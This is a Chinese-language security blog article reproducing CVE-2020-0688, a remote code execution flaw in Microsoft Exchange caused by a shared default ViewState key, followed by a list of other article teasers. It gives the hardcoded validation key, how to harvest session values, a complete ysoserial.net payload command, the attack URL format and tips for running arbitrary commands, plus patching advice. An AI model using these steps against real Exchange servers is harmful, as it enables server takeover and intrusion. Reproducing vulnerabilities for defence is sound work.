CVE-2020-0688漏洞模拟、复现、分析和利用:Microsoft Exchange Server远程执行代码漏洞
摘要:Microsoft Exchange Server远程执行代码漏洞CVE-2020-0688。对该漏洞进行了模拟复现,分析漏洞的原因和利用。希望它可以帮助公司了解该漏洞的危害并及时进行修复以避免黑客入侵。
Microsoft Exchange Server远程执行代码漏洞CVE-2020-0688。对该漏洞进行了模拟复现,分析漏洞的原因和利用。希望它可以帮助公司了解该漏洞的危害并及时进行修复以避免黑客入侵。
影响版本
Microsoft Exchange Server 2010 Service Pack 3
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019
漏洞原理
此漏洞是由Exchange服务器在安装过程中未正确创建唯一的加密密钥引起的。
特别是,与通常每次都会生成随机密钥的普通软件安装不同,所有Exchange Server在安装后在web.config文件中都具有相同的validationKey和decryptionKey。这些密钥用于确保ViewState的安全性。ViewStateASP.NET Web应用程序以序列化格式存储在客户端上的服务器端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel Web应用程序上执行任意.net代码。
攻击者获取可以通过各种方式访问Exchange Control Panel(ECP)组件的用户帐户的密码时。攻击者可以在被攻击的交换机上执行任意代码,并直接获得服务器权限。
复现
1.需要变量
要利用此漏洞,我们需要四个参数:
–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)
–validationalg = SHA1(默认,漏洞产生原因)
–generator=B97B4E27(基本默认)
–viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)
在这四个变量中,前两个默认情况下是固定的。需要从经过身份验证的会话中收集viewstateuserkey和gene
rator的值。可以从ASP.NET的_SessionID cookie获取viewstateuserkey,并且可以在隐藏字段__VIEWSTATEGEN
ERATOR中找到generator。所有这些都可以通过浏览器中的工具轻松访问。
获取viewstateuserkey和generator值
正常登录后,访问/ecp/default.aspx页面。使用F12开发人员工具的“Network”选项,刷新页面,重新发送请求,并在登录时查找/ecp/default.aspx的原始响应。
在“Headers”选项卡上找到ASP.NET_SessionId cookie:
在“Response”选项卡中搜索__VIEWSTATEGENERATOR以获取字段值:
如果找不到此字段,请不要慌,只需使用默认值B97B4E27。
3.使用工具生成payload
使用ysoserial.net工具生成反序列化的payload。
生成payload命令:
ysoserial.exe-p ViewState -g TextFormattingRunProperties -c "calc.exe"--validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug --islegacy
4.构造攻击地址
生成payload代码后,您需要对代码进行URL Encode编码以构造URL
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>
将最开始获得的__VIEWSTATEGENERATOR值替换<generator>,将URL Encode编码后的payload替换<ViewState>。
5.访问地址并成功执行
访问构造的URL地址,服务器将弹出500错误,但攻击实际上是成功的。
登录服务器以查看该过程,并发现计算器已成功启动。
其他问题
1.关于版本
网上有声称此漏洞对大版本的小版本有限制。其实并非如此,我的测试环境server 12 + exchange 2013。已测试15.0.516.32(2012年12月3日)和15.0.1497.2(2019年6月18日)(即update23)都具有漏洞,并且可以成功复制。 16,19尚未测试,应该相似。
2 .__ VIEWSTATEGENERATOR
在最初版本的时候一直没有这个参数(确实不重要,基本为默认值)。此问题的主要原因是系统修补程序KB2919355尚未更新。__VIEWSTATEGENERATOR字段将在更新后出现。
3.无法创建文件
大多数复现者只复现在启动计算器上,而无法创建文件。但是,在测试之后,发现问题出在ysoserial.exe的-c参数上。尽管在演示过程中可以使用-c“ echo OOOPS !!!> c:/Vuln_Server.txt”创建文件,但人们误认为-c cmd窗口正在运行,但实际上-c实际上是 “运行”,所以直接echo是不行的,您需要-c“cmd/c echo test> C:\ 1.txt”,该文件在测试后成功创建,如图所示:
4.URL Encode编码
对生成的payload进行编码时,您需要注意仅对关键的特殊字符进行编码。如果已完全编码,则无法成功使用。
维修建议
1.建议及时更新相关补丁
2.限制对Exchange Control Panel(ECP)组件页面的访问
由于该漏洞需要使用Exchange Control Panel(ECP)组件,因此禁用对此组件的访问是一种更有效的紧急方法。如果条件允许,建议及时更新补丁。
相关热词搜索:CVE-2020-0688 漏洞复现 漏洞分析 漏洞利用 Microsoft Exchange Server 远程执行代码漏洞 重庆网络安全公司
上一篇:CVE-2019-19781漏洞分析:Citrix ADC和Citrix Gateway远程执行代码(RCE)高风险漏洞,Citrix设备的入侵控制以及对内网资源访问获取
下一篇:BootHole CVE-2020-10713漏洞:位于GRUB2引导程序中,几乎所有Linux和Windows设备都受到影响
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了